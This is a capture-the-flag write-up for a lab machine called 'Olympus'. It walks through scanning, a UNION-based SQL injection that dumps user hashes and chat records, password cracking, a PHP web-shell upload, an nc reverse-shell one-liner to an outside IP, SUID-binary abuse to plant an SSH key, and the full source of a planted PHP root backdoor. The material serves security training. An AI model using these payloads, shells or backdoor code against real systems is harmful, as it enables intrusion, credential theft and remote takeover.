Olympus
NMAP
Initial nmap
scan
$ nmap -sC -sV -oA scans/initial -vv 10.10.66.178
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
[...]
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://olympus.thm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From our nmap
scan we can see two services running on the host 22
(SSH) and 80
(HTTP)
HTTP
Using feroxbuster
we can brute force directories on the web server.
feroxbuster -k -e -u http://olympus.thm/ -w /opt/directory-brute.txt -x php,html,txt,bak
[...]
301 GET 9l 28w 315c http://olympus.thm/~webmaster => http://olympus.thm/~webmaster/
~webmaster
We are greeted by a CMS with some blog posts
Looking around, there is a search and a login field
Testing for SQL injection in the search field by submitting a '
(single quote) in the text box, we get a MySQL error as a response.
Opening burp and turning our proxy on we can capture this request
SQL Injection
Find out which columns are text and where they are located
search=x' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- -&submit=
- We will be using the 4th column
Retrieve database names:
search=x' UNION ALL SELECT 1,2,3,concat(schema_name),5,6,7,8,9,10 FROM information_schema.schemata-- -&submit=
- Found
olympus
database
Retrieve table names:
search=x' UNION ALL SELECT 1,2,3,concat(table_name),5,6,7,8,9,10 FROM information_schema.TABLES WHERE table_schema='olympus'-- -&submit=
- Found
users
table
Retrieve column names:
search=x' UNION ALL SELECT 1,2,3,concat(column_name),5,6,7,8,9,10 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'-- -&submit=
- Found
user_name
,user_password
, andrandsalt
columns
Retrieve data:
search=x' UNION ALL SELECT 1,2,3,concat(user_name, ':', user_password, ' salt: ', randsalt),5,6,7,8,9,10 FROM users-- -&submit=
Username | Password | Salt |
---|---|---|
prometheus | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|
root | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
dgas |
zeus | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |
dgas |
From the randsalt
column, we see that only two of the three passwords have a salt, this should be the easiest one to crack.
Just from the looks of it, the passwords seem to be encrypted with bcrypt
or mode 3200
in hashcat
C:\Hashcat\hashcat-6.2.5>hashcat --username -m 3200 ..\olympus_hashes.txt ..\rockyou.txt
hashcat (v6.2.5) starting
[...]
$2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C:summertime
We quickly find that prometheus
’ password is: summertime
We can now login as prometheus
CMS Admin Page
Looking around the users tab, we see an interesting subdomain
Adding this to our /etc/hosts
file and navigating to http://chat.olympus.thm/
we see a new login page
Olympus Chat
Checking for password re-use, we get a successful logon as prometheus:summertime
Reading the chats, we see that they are talking about the file upload functionality and how it renames the file randomly.
Knowing that these files and chats have to be stored somewhere, we can look back to our SQL injection and see if we find any other interesting databases, tables, or columns.
File Upload
search=x' UNION ALL SELECT 1,2,3,concat(table_name),5,6,7,8,9,10 FROM information_schema.TABLES WHERE table_schema='olympus'-- -&submit=
Taking a second look at the tables inside the olympus
database we see a chats
table
To retrieve the columns of the chats
table we can use the following command
search=x' UNION ALL SELECT 1,2,3,concat(column_name),5,6,7,8,9,10 FROM information_schema.COLUMNS WHERE table_name='chats'-- -&submit=
The two columns that we will be dumping are: msg
& file
search=x' UNION ALL SELECT 1,2,3,concat(msg, ':', file),5,6,7,8,9,10 FROM chats-- -&submit=
From the data that we dumped we can see the new name of the prometheus_password.txt
fle: 47c3210d51761686f3af40a875eeaaea.txt
Knowing that we can find the real name of the file that we upload, assuming there are no content filters, we should be able to get a shell
$ cat phprce.php
<?php
echo system($_REQUEST["cmd"]);
?>
We see that the upload goes through, now we need to do the SQL injection once again to dump the msg
& file
columns.
Our new file is fa8e5ef46fad7138483709a5f1cc8113.php
Now we can find the file by navigating to http://chat.olympus.thm/uploads/fa8e5ef46fad7138483709a5f1cc8113.php?cmd=id
I will be capturing this request with burp’s repeater and changing the request type to POST
, this makes the commands easier to input and read personally.
We now have command execution and can get a reverse shell
cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.13.5.204+9001+>/tmp/f
Internal
www-data
Running linpeas.sh
we see an interesting SUID binary meaning that we can execute it with the same permissions as the zeus
user
-rwsr-xr-x 1 zeus zeus 18K Apr 18 09:27 /usr/bin/cputils (Unknown SUID binary)
Running the program we see that it is asking for a source and a destination file. With this information and the “CP” being capitalized in the ASCII art, we can assume this is some sort of file copy command.
We can prove this by trying to copy the user.flag
file to flag.txt
in the same directory
Knowing that we can copy any file that zeus
has access to, we can try to find a file that can help us escalate our privilages.
Looking through zeus
’ home directory we can see that there is a .ssh
directory, let’s make our own key pair and copy it to /home/zeus/.ssh/authorized_keys
Now we can upload the id_rsa.pub
file over to the victim machine using a python3 server and copy it over using the cputils
binary
Even though we get an error message, we still get a successful login with our private key
zeus
After running linpeas.sh
once again and nothing notable coming up, I decided to look back into the /var/www/
directory where the web pages are located
We see the two vhosts but we also see a normal html
directory
We find an interesting directory inside
Going deeper, we have another strangely-named php
file
<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form name="auth" method="POST">Password: <input type="password" name="password" /></form>');
set_time_limit(0);
$host = htmlspecialchars("$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", ENT_QUOTES, "UTF-8");
if(!isset($_GET["ip"]) || !isset($_GET["port"])) die("<h2><i>snodew reverse root shell backdoor</i></h2><h3>Usage:</h3>Locally: nc -vlp [port]</br>Remote: $host?ip=[destination of listener]&port=[listening port]");
$ip = $_GET["ip"]; $port = $_GET["port"];
$write_a = null;
$error_a = null;
$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";
chdir("/"); umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if(!$sock) die("couldn't open socket");
$fdspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$proc = proc_open($shell, $fdspec, $pipes);
if(!is_resource($proc)) die();
for($x=0;$x<=2;$x++) stream_set_blocking($pipes[x], 0);
stream_set_blocking($sock, 0);
while(1)
{
if(feof($sock) || feof($pipes[1])) break;
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)) { $i = fread($sock, 1400); fwrite($pipes[0], $i); }
if(in_array($pipes[1], $read_a)) { $i = fread($pipes[1], 1400); fwrite($sock, $i); }
if(in_array($pipes[2], $read_a)) { $i = fread($pipes[2], 1400); fwrite($sock, $i); }
}
fclose($sock);
for($x=0;$x<=2;$x++) fclose($pipes[x]);
proc_close($proc);
?>
Inside of the file we can see some very interesting details of what seems to be a root backdoor
Let’s visit this file with our browser by going to: http://10.10.181.184/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
From the source code we know the password is: a7c5ffcf139742f52a5267c4a0674129
We are greeted with a simple page with instructions on how to connect to the backdoor
We will be using the “Remote” option
By setting up a new netcat
listener and replacing the ip and port placeholders in the url and navigating to it, we are now root
root
Our last task is to find the bonus flag
Since the flags have been using a pretty standard format of flag{x}
we can use the grep
tool to search every file for that same pattern
root@olympus:~# grep -r "flag{.*}" / 2>/dev/null